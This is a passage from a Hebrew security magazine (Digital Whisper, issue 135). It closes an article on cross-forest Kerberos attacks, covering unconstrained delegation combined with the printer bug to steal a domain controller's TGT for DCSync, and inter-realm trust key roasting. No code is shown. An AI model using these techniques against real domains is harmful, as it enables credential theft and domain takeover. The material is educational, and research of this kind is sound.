delegation שרתי לאלץ יכול, אחד ביער DC מולו להזדהות השני ביער (ה בעזרת-printer bug )וכך 

 (. לו יספקו שהם TGT-ב משחק לאחר) עליהם גם להשתלט

 :הם ההתקפה את לבצע לתוקף המאפשרים התנאים ארבעת

 אינם או” Account is sensitive and cannot be delegated“ בתכונה תומכים שאינם משתמשים .1

 לשרת ניגשים הם כאשר שירות בכרטיס שלהם TGT-ה את ישלחו, protected users לקבוצה שייכים

 לשרתים מאפשרת unconstrained delegation של הזו התכונה. unconstrained delegation בעל

 המדובר TGT-ה כאשר) בשמם ולהזדהות TGT להם השולחים המשתמשים של בהרשאות להשתמש

 (.DCsync לבצע מנת על בו להשתמש ניתן, DC של הוא

 באתר שנאמר כמו. יערות בין גם מועברים להיות יכולים, delegationב משמשים הם כאשר, TGT-ה .0

 :מייקרוסופט

"When full delegation is enabled for Kerberos on a server, the server can use the delegated ticket-

granting ticket (TGT) to connect as the user to any server, including those across a one way trust." 
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 :שנקראת api-ה בקריאת להשתמש האפשרות בעצם :printer bug של קיום .3

RpcRemoteFindFirstPrinterChangeNotification  

 שרת מול אל להזדהות spooler service המכילה מכונה כל לאלץ מאומת משתמש לכל מנת על

 :(\pipe\spoolss הנקרא named pipe-ב שימוש קיים) NTLM/kerberos בעזרת התוקף בשליטת

 

 :משמעותה, RpcRemoteFindFirstPrinterChangeNotification הקריאה, התיעוד פי על

"It can be used to create a remote change notification object that monitors changes to printer 

objects and sends change notifications to a print client" 

 שצריך כל) אחר ביער מכונות על( ג מסעיף) Printer bug-ה את להריץ יכול, אמון בעל ביער משתמש כל. ד

 (.כלשהוא מאומת משתמש הוא

 :דוגמא נראה

 unconstrained delegation בעל שרת בהצלחה תקף התוקף. כיווני דו trust יש Forst B-ל Forst A בין

 uncontrainedבעל שרת כל להיות יכול שזה כמובן. B ביער כלשהוא דומיין של DC-ה את העניין לצורך)

delegation .)כרטיסי לזהות מנת על 6206 ההתחברות אירועי של על ניטור יתחיל התוקף TGT חדשים 

 . LSA-ל שהגיעו

 במשתמש של) שלו TGT-ה את ויקבל A ביער דומיין של DC-ה כנגד Printer bug התקפות את יבצע התוקף

spotless ה בכרטיס נמצא הוא כאשר( הגבוהות ההרשאות בעל-Service יקח, התוקף. התוקף אל שנשלח 

 . שלו הנוכחי session-ל אותו ויכפיף המדובר TGT-ה את

 ים-hash-וה הסיסמאות את להשיג מנת על DCsync כמו התקפות לבצע התוקף יכול, זה כרטיס בעת, כעת

 .A של בדומיינים
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 :להלן בשרטוט זאת לראות ניתן

 

 [harm0ny של הבלוגמתוך ]

 ההתקפה .שלה יכולת והוכחת זו בהתקפה התעמקות בהמשך ונראה מגניב די המתקפה של הקונספט

 על התקפות (.SID history במקום זה את להנציל ניתן וכך) היער באותו להורה ילד דומיין בין גם אפשרית

trust הבאים במקומות נצפו (על mitre :) 
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 Inter Realm Key Roasting התקפת

 וממנו המוצפן הטקסט את להשיג התוקף שעל בכך asreproasting-ל מאוד דומה ההתקפה של הרעיון

 המוצפן הטקסט מתוך trust-ה מפתח את להשיג לנסות התוקף על, זה במקרה. המפתח את לפצח לנסות

 (.ידו על שחתומה) TGS-rep-ה בפקטת

 

 המשתמש של ביכולתו גם, לעיתים אך, המערכת י"ע הנוצר רנדומלי מפתח הינו המפתח כ"בדר, לב נשים

 שחשוב פרט עוד. אותו לפצח ולנסות המוצפן הטקסט את להשיג התוקף יכול, וכך לבחירתו מפתח ליצור

 שהתוקף חשוב, כן ועל לרנדומלי הופך הוא ולאחריהם יום 32 כל אוטומטית משתנה שהמפתח הוא להכיר

 .המפתח ליצירת הראשונים היום 32-ב המפתח את ישיג

 :32-מ פחות בני דומיין על LDAP-ה תשאול בעת עבורנו שימושית להיות שעשויה לשאילתא דוגמא הנה

 

 Realm Key Roasting (well... within the first 30 days)-Inter :הבא במאמר ראו, נוספים לפרטים

https://blog.xpnsec.com/inter-realm-key-roasting/
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 לסיכום

, שקרברוס הראנו במאמר. הקרברוס בנושא המאמרים בסדרת שלנו השני המאמר נגמר כאן, חברים טוב

 מתקפות שיש ראינו. לרובן PoC והראנו מהן והרבה, למתקפות חשוף, דומיין בכל כמעט שנמצא הפרוטוקול

 כתיבת במהלך. כספת כל לחדור ניתן ומאמץ עבודה מספיק שעם הבנו אבל פחות או יותר חזקות

 את ונפרסם הכל נחקור. לבצע שניתן ומתקפות חולשות על רבות שאלות לנו ועלו הרבה למדנו, המאמרים

 !הבא למאמר רוח בקוצר ושתצפו המאמר בקריאת שנהנתם מקווים אנו, השלישי במאמר ממצאינו

 !בקרוב נתראה

 

 המחברים על

 .דדליפט קילו 002 מרים. ומתקפות חולשות בחקר מתעסק, מהטכניון מחשבים מהנדס, 03, כהן נתנאל

 . ואתגרים טיולים אוהב. וייעוץ חולשות בחקר מתעסק, חדירות ובודק אבטחה חוקר, 06, מליאנקר עדי

 בלינקאדין. memes סתם או במאמר שנשכחו דברים, לתוספות מנשמח ויותר, הערות, לשאלות זמינים

 :מייל או( השם על תלחצו)

temporarynothing0@gmail.com 

 

  

https://www.linkedin.com/in/netanel-cohen-410701221?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B6PQIDKYVTIS%2FpvXUpZjUPg%3D%3D
https://www.linkedin.com/in/netanel-cohen-410701221?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B6PQIDKYVTIS%2FpvXUpZjUPg%3D%3D
https://www.linkedin.com/in/netanel-cohen-410701221?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B6PQIDKYVTIS%2FpvXUpZjUPg%3D%3D
https://www.linkedin.com/in/netanel-cohen-410701221?lipi=urn%3Ali%3Apage%3Ad_flagship3_profile_view_base_contact_details%3B6PQIDKYVTIS%2FpvXUpZjUPg%3D%3D
mailto:temporarynothing0@gmail.com
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 דברי סיכום
 

ווים כי נהנתם מהגליון והכי , אנו מאוד מקDigital Whisperשל  135-בזאת אנחנו סוגרים את הגליון ה

למדתם ממנו. כמו בגליונות הקודמים, גם הפעם הושקעו הרבה מחשבה, יצירתיות, עבודה קשה  :חשוב

 כדי להביא לכם את הגליון.  רבותושעות שינה 

 

ניתן לשלוח כתבות וכל פניה אחרת דרך עמוד "צור קשר" באתר שלנו, או לשלוח אותן לדואר האלקטרוני 

 .editor@digitalwhisper.co.ilשלנו, בכתובת 

 

 על מנת לקרוא גליונות נוספים, ליצור עימנו קשר ולהצטרף לקהילה שלנו, אנא בקרו באתר המגזין:

www.DigitalWhisper.co.il 
"T4lk1n' 80ut a r3vo7u710n 5ounds like a wh15p3r" 

 

 פברואר, אבל מי יודע, אולי גם לפני כן...בסוף חודש  עתיד לצאתון הבא הגלי

 

 

 

 אפיק קסטיאל,         

 ניר אדר,         

         31.10.2021 
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